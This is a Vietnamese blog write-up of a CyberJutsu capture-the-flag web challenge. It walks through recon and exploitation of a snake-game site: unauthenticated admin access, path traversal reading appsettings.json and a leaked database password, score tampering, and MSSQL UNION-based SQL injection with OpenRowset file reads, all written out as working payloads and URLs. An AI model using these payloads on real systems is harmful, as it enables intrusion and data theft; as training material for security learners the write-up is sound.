Các đường dẫn khác như /appsettings.json; /Areas; /bin; /Controllers; /Models ⇒ Khi truy cập vào đều trả về 404 not found ⇒ Tạm thời để đó đã nhé

Tiếp tục tìm hiểu /game

Tôi thử bấm bắt đầu và quan sát khi rắn chạm tường thì được thông báo như vậy

Tiếp tục truy cập thử với đường dẫn /Game/Feedback

⇒ Thử submit form, nhưng khi xem trong request burpsuite thì lại không nhận được request nào, nên tôi thử đọc html,js của nó xem

⇒ Trong html có thẻ img base64 ⇒ nhưng lại không được render ?

Thử decode base64

CBJS_EASTER_EGG{Part 3: XA5V}

Ngoài ra, tìm được thêm /Feedback/Submit Nhưng khi cố gắng thử truy cập hay gửi request đến url này thì đường như không thể, mặc dù đã thử mọi url có thể như vẫn 404 not found

• /game/Feedback/Submit

• /Admin/Feedback/Submit

• …

⇒ Có thể chức năng này đã thực sự bị lập trình viên xóa bỏ

Phân tích request burpsuite

Đến đây, chúng ta đã dạo qua một vòng web bằng browser, bây giờ là lúc tôi thử ngó qua HTTP history của Burpsuite xem như thế nào.

Mở HTTP history của Burpsuite tôi nhận được 1 loạt request như vậy, bây giờ sẽ đi xem từng cái một nè.

Tôi lấy được CBJS_EASTER_EGG part 1 khi xem response của /

Và thu thập thêm các URLs

/Admin/EditBackground
/backgrounds/1.png

Tiếp tực mở browser thử truy cập vào URL /backgrounds/<int>.png

⇒ Tôi nhận thấy đây chính là background lúc chơi game, vì quay lại /game tôi có thể thấy background của nó chính là 1.png

Thử truy cập tiếp /Admin/EditBackground

Ở đường dẫn này mình thu về được 2 thông tin cũng có thể gọi là quý

1. Lấy được Flag 4: CBJS{Unauth_On___________Đã ẩn thông tin_____________________Ofection}

2. Có một form edit background → Nhìn vào form thì chúng ta đoán ra được param

   • Method: post

   • URL: /Admin/EditBackground

   • Body: selectedBackground → Giá trị của nó truyền vào có thể là: 1.png, 2.png, 3.png

Bây giờ thử và bắn luôn một cú request nhé:

Trước tiên, Chuyển request /Admin/EditBackground sang repeater → chuyển đổi method sang POST → Thêm boby selectedBackground=2.png

⇒ Sau khi thử gửi request thành công nhận về code 200 và nội dung trả về có preview content, đoán đoán đâu đó là nội dung của ảnh mà mình vừa cập nhật thành công.

Thử tiếp chức năng Show response in browser của browser sẽ thấy như hình phải bên dưới.

Quay về page /game và thấy background đã đổi

Đến đoạn này mình dừng lại 1 nhịp để phẩn tích xem: Vậy selectedBackground nhận vào tên file → Thay đổi background và hiển thị nội dung preview content

⇒ Có thể đặt ra câu hỏi liệu chỗ này có thể là lỗ hổng Path traversal để đọc file tùy ý không?

Trong đề bài cho mình biết chắc chắn có 1 file tồn tại trong server rồi là: /tmp/FLAG_WEB tôi thử sửa và gửi request

Nhận được Flag 1: CBJS{Ha_________Đã ẩn thông tin________________ke}

Đến đoạn này chúng ta đã xác định được có thể đọc được file tùy ý thông qua lỗ hổng Path traversal ở chức năng này.

Xem tiếp HTTP request history /game và thu thập thêm được đường dẫn /api/ranking có sortParam ⇒ Giá trị của nó có thể lấy từ URL hoặc Score

API lấy danh sách ranking, sort by 1 cột nào đó, cụ thể ở đây là score

Truy cập nhưng không có param thử xem

Mình đã nghĩ đến SQL injection, mình thử bằng tay một số ký tự đặc biệt để xem server có phản ứng dụng không, nhưng không thể confirm được nên mình thử vứt vào ghauri thử.

(Phần này các bạn chắc chắn hỏi vì sao tôi dùng --dbms mssql thực ra cũng là 1 phần kinh nghiệm là asp.net nó hay đi kèm MSSQL giống như PHP hay đi kèm MySQL. Lúc làm mình test thử hết =)) nhưng do lúc chụp ảnh mình chụp phải cái sử dụng --dbms mssql / Fact nữa: khi recon nữa thì ae có thể recon ra được ứng dụng này sử dụng MSSQL nhé)

ghauri -u http://206.189.39.54:8085/api/ranking?sortParam=score --dbms mssql

⇒ Ghauri cũng không ra, nên tạm thời note lại và đi recon tiếp, sau này có bí quá thì quay lại thử cách khác tiếp.

Cứ mỗi lần tìm ra được 1 đường dẫn mới thì mình sẽ thử chạy lại gobuster 1 lần để thử xem còn thư mục nào nhỏ hơn bên trong không? ở đây với /api/ranking cũng vậy.

gobuster dir -e -u http://206.189.39.54:8085/api/ranking -w ~/Tools/SecLists/Discovery/Web-Conte
nt/common.txt -t 50

Sau khi chạy với gobuster lại phát hiện ra được một đường dẫn mới. http://206.189.39.54:8085/api/ranking/Search

Khi truy cập vào thì lập tức bị báo thiếu param: The searchTerm field is required. Tôi thử thêm param searchTerm với giá trị là a và truy cập lại thì cho ra kết quả.

Nhìn qua kết quả trả về có thể hình dung đây là 1 chức năng search, nhận vào keyword lấy từ param searchTerm và tìm kiếm ở cột PlayerName trong database nếu có chưa keyword đó thì hiển thị ra.

Ngay tại đây, tôi có thể nghĩ ngay đến mình phải kiểm tra ngay lỗ hổng SQL injection, tôi hình dung ra câu lệnh SQL mà server xử lý như sau:

SELECT id,playerName,score FROM [Ranking table] WHERE playerName like '%[searchTerm]%';

# [Ranking table]: Là tên bảng, nhưng vì tôi không xác định được tên bảng là gì nên đặt 1 placeholder → mục đích là để hình dung ra câu lệnh sql
# [searchTerm]: Cũng là placeholder đại diên cho giá trị lấy từ param do người dùng chuyển lên

Tiếp theo, tôi thử phản ứng của server đối với các ký tự đặc biệt, tôi đã thử ' và nhận thấy server lập tức trả về 500.

Hình ảnh về SQL injection đang dần hình thành trong đầu tôi, vì khi truyền ' lên khiến câu lệnh truy vấn SQL của server gặp lỗi syntax nên sẽ trả về 500 → Trong đầu tôi nghĩ và hình dung như vậy.

Tôi thử injection đoạn như sau.

' OR 1=1;--+

Nếu giả suy nghĩ tôi đúng, thì câu lệnh SQL của server sẽ biến thành

SELECT id,playerName,score FROM [Ranking table] WHERE playerName like '%' OR 1=1;--+%';

Tôi đệm thêm MMMMMMMMMMM vào searchTerm để mục đích là khiến cho điều kiện playerName like ... sẽ luôn sai, như thế tôi sẽ xác định được phần injection của mình có hoạt động đúng hay không.

⇒ Phần injection sẽ là:%MMMMMMMMMMM' OR 1=1;--+, hình dung câu lệnh SQL sau khi bị injection sẽ trở thành

SELECT id,playerName,score FROM [Ranking table] WHERE playerName like '%MMMMMMMMMMM' OR 1=1;--+%';

Giải thích chỗ này một chút: đó là nếu tôi tìm kiếm với MMMMMMMMMMM thì do trong database không có bản ghi nào chứa MMMMMMMMMMM nên server sẽ không trả về gì cả, mà chỉ trả về 1 mảng rỗng như bên dưới.

Server trả về 200 kèm nội dung là mảng rỗng, mình suy nghĩ theo hướng: vì nó ko tìm ra bản ghi nào chứa MMMMMMMMMMM cả nên là nó trả về data rỗng khi này điều kiện playerName like '%MMMMMMMMMMM%' trong câu lệnh SQL của server sẽ là điều kiện sai ⇒ Bây giờ chúng ta thêm OR 1=1 vào mà trả về data, thì có thể khẳng định 99,99% là lỗ hổng SQL injection.

Tôi thực hiện truy cập vào đường dẫn đã injection payload SQL, và nhận được dữ liệu trả về

Kết luận theo suy nghĩ của tôi: Chức năng này tồn tại SQL injection.

Chúng ta tạm note lại chưa vội khai thác vì còn các đường dẫn khác cần phải khám phá.

Với đường dẫn /Game/SubmitScore

Tôi đoán, khi rắn của người chơi đụng đầu vào tường client sẽ dùng URL gửi điểm người chơi đạt được lên server → Có thể nghĩ đến chuyện thay đổi điểm gửi lên server thì sao?

Tôi liền thử thay đổi điểm và gửi lại request

Cú request thành công và tôi nhận về được CBJS_EASTER_EGG part 5.

CBJS_EASTER_EGG{Part 5 (final): 1R5b}

Tạm tổng kết hành trình recon và discovery

Tôi thu được một số flag:

# EASTER eGG
CBJS_EASTER_EGG{Part 1: <https://lixi.momo.vn/>}
CBJS_EASTER_EGG{Part 2: /lixi/9o3}
CBJS_EASTER_EGG{Part 3: XA5V}
CBJS_EASTER_EGG{Part 5 (final): 1R5b}

# Flags
Flag 01: CBJS{Ha_________Đã ẩn thông tin________________ake}
Flag 04: CBJS{Unauthorized__________Đã ẩn thông tin_________________Redirection}

⇒ Vậy, tôi còn thiếu EASTER EGG part 4 và 2 flag 02,03

Tôi đã note lại được 1 số chức năng có lỗ hổng mà cần lưu ý

• /Game/SubmitScore → Edit score tùy ý và đã có thể sửa đổi được điểm gửi lên server

• /api/ranking/Search?searchTerm= → Lỗ hổng SQL injection

• /Admin/EditBackground → Lỗ hổng Unauthorized access và Path traversal

Vậy tôi sẽ đi khai thác từng lỗ hổng để đạt đủ các flag và easter egg

Exploit

Unauthorized access + Path traversal

Như trên phần trước tôi đã biết được rằng mình có thể sử dụng được chức năng thay đổi background của Admin mà không cần quyền gì đặc biệt và chức năng này có lỗ hổng Path traversal.

POST /Admin/EditBackground HTTP/1.1
Host: 206.189.39.54:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: <http://206.189.39.54:8085>
Connection: keep-alive
Referer: <http://206.189.39.54:8085/Admin/EditBackground>
Upgrade-Insecure-Requests: 1
Priority: u=0, i

selectedBackground=<PATH TRAVERSAL>

Như chúng ta đã biết ứng dụng được lập trình từ asp.net và server là Kestrel, chúng ta có thể hỏi chatgpt 1 số câu hỏi như trong link share này: https://chatgpt.com/share/67a6e798-6bec-8006-9a80-7f878d3380d2

Hãy nhớ đến nội dung file robots.txt

Disallow: /Game
Disallow: /appsettings.json
Disallow: /Admin
Disallow: /Areas
Disallow: /bin
Disallow: /Controllers
Disallow: /Models

Xem mô tả do chatgpt trả về để hình dung được cách tổ chức cấu trúc của dự án này, như vậy liệu chúng ta có thể đọc file appsettings.json để xem có thông tin gì không?

Theo như chatgpt trả lời, Tôi biết rằng có tồn tại appsettings.json ở root folder, nên sử dụng cách thủ công nhất là lần mò từng bước để xác định vị trí đứng, cũng như là đọc được appsettings.json

Tôi thử đã thử từng đường dẫn như sau:

appsettings.json
../appsettings.json
../../appsettings.json -> ok

Như vậy, tôi đứng từ chức năng EditBackground đi ra 2 cấp mới có thể đến root folder: ../.. , thu được Easter egg 04: CBJS_EASTER_EGG{Part 4: VMNp}

Chuyển qua tab render để đọc được văn bản rõ hơn

Tôi đọc rõ hơn và nhận thấy thêm connection string vào database của ứng dụng có chứa credential.

Server=mssql;Database=MyAppDB;User Id=sa;Password=YourStrong!Passw0rd;MultipleActiveResultSets=true;TrustServerCertificate=True;

⇒ Database sử dụng MSSQL, tên database là: MyAppDB

Hoàn thiện đủ bộ Easter egg, giờ ghép lại và nhận lì xì thôi.

CBJS_EASTER_EGG{Part 1: <https://lixi.momo.vn/>}
CBJS_EASTER_EGG{Part 2: /lixi/9o3}
CBJS_EASTER_EGG{Part 4: VMNp}
CBJS_EASTER_EGG{Part 3: XA5V}
CBJS_EASTER_EGG{Part 5 (final): 1R5b}

=> <https://lixi.momo.vn/lixi/9o3VMNpXA5V1R5b>

Khi truy cập vào đường dẫn thì nhận được thử thách ghép chữ =)) chấm hỏi? Anh Luật biết chơi thật tiền đến tay rồi không cho lấy mà phải ghép chữ tiếp.

Nhưng không sao, tôi thông mình nên sau 1 hồi ghép ghép tôi cũng đoán ra được dây là chữ: HAPPY HACKING

Nhận tiền lì xì thôiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii

Cảm ơn các bạn đã đọc blog, tôi nhận được tiền rồi nên nghỉ thôi, không làm nữa đâu nhé.

Hẹn gặp lại các bạn ở 1000 ngày tiếp theo.

Đùa thôi!

Vì tôi còn tận 2 flag nữa chưa tìm ra, nên với tính tò mò của tôi thì khó mà dừng lại ở đây lắm =))

Nên là, vẫn tiếp tục nhé.

SQL injection

Quay trở lại tiếp tục khai thác nốt lỗ hổng SQL injection, như phần trên tôi đã injection và câu lệnh injection đã hoạt động.

http://206.189.39.54:8085/api/ranking/Search?searchTerm=MMMMMMMMMMM%27%20OR%201=1;--+

Tôi có thể nghĩ ngay đển UNION based

Trước tiên, chúng ta cần xác định đúng vị trí dữ liệu khi trả về mà chúng ta có thể đọc bằng payload:

' UNION SELECT 0,'DATA LEAKED',0;--+

Fact: Có nhiều bạn sẽ hỏi, tại sao mình lại biết mà viết payload này, thì mình dựa vào các thông tin mình có được như sau:

• Cú pháp lệnh MSSQL để mình biết ngắt lệnh,comment lệnh thừa, …

• Dựa và dữ liệu trả về trước đó → Tôi thấy dữ liệu trả về 1 object có 3 phần tử (3 cột trong database): ID, playerName,score → ID,score thì có thể đoán luôn là integer, playerName là string

  

⇒ Nên tôi phải viết union select làm sao mà data của tôi trả về đúng 3 cột, 2 cột đầu và cuối là integer và cột giữa là String là được SELECT 0,'DATA LEAKED',0

Giờ đã biết vị trí chúng ta có thể đọc data rồi, bây giờ phải tìm tên bảng, còn tên database đã tìm thấy ở phần trước là: MyAppDB

http://206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20SELECT%200,name,0%20FROM%20sysobjects%20WHERE%20xtype%20=%20%27U%27--

\= thu được tên bảng: CyberJutsu

Tiếp theo là xem bảng có những cột nào

http://206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20SELECT%200,name,0%20FROM%20syscolumns%20WHERE%20id%20=%20(SELECT%20id%20FROM%20sysobjects%20WHERE%20name%20=%20%27CyberJutsu%27);--

⇒ Như vậy, bảng CyberJutsu có một cột là flag

Bây giờ thì lấy flag thôi nào.

http://206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20SELECT%200,flag,0%20FROM%20CyberJutsu--

Như vậy, tôi đã thu thêm được Flag 03: CBJS{S_________Đã ẩn thông tin________________utsu}

Nhiệm vụ vẫn còn, tiếp tục tìm flag 02 nữa để kết thúc bài nhé.

Như đề bài có nói Flag 02 ở trong /tmp/FLAG_DBSERVER

Vậy tôi nghĩ đến việc lợi dụng SQL injection để đọc file flag.

Đến đây sẽ có bạn: ủa sao không đọc luôn flag02 bằng path traversal ở phần trước ⇒ Nhưng chuyện đâu đơn giản vậy, vì có thể file /tmp/FLAG_DBSERVER đã được phân quyền mà user truy cập thông qua ứng dụng không thể đọc được mà chỉ có user truy cập thông qua database mới đọc được. Hoặc là database nằm trên 1 server (1 container) khác so với ứng dụng web thì cũng không đọc được bằng path traversal.

http://206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20select%200,(select%20x%20from%20OpenRowset(BULK%20%27/tmp/FLAG_DBSERVER%27,SINGLE_CLOB)%20R(x)>),0;--

Tiếp tục có được Flag 02 heng!!!! xong rồi heng!!!!: CBJS{Have_________Đã ẩn thông tin________________nux?}

Kết bài

Thông tin vẫn ở đó, quan trọng là bạn có tìm thấy không thôi.

Cảm ơn CyberJutsu đã tạo ra bài CTF theo đánh giá của tôi thì khá là hay vì có lì xì.

Cảm ơn các bạn đã đọc bài của mình sau 1000 ngày chờ đợi.

Mình sẽ cố chăm chỉ viết bài hơn, có thể không cần tới 1000 ngày mà 500 ngày gì đó là có bài rồi.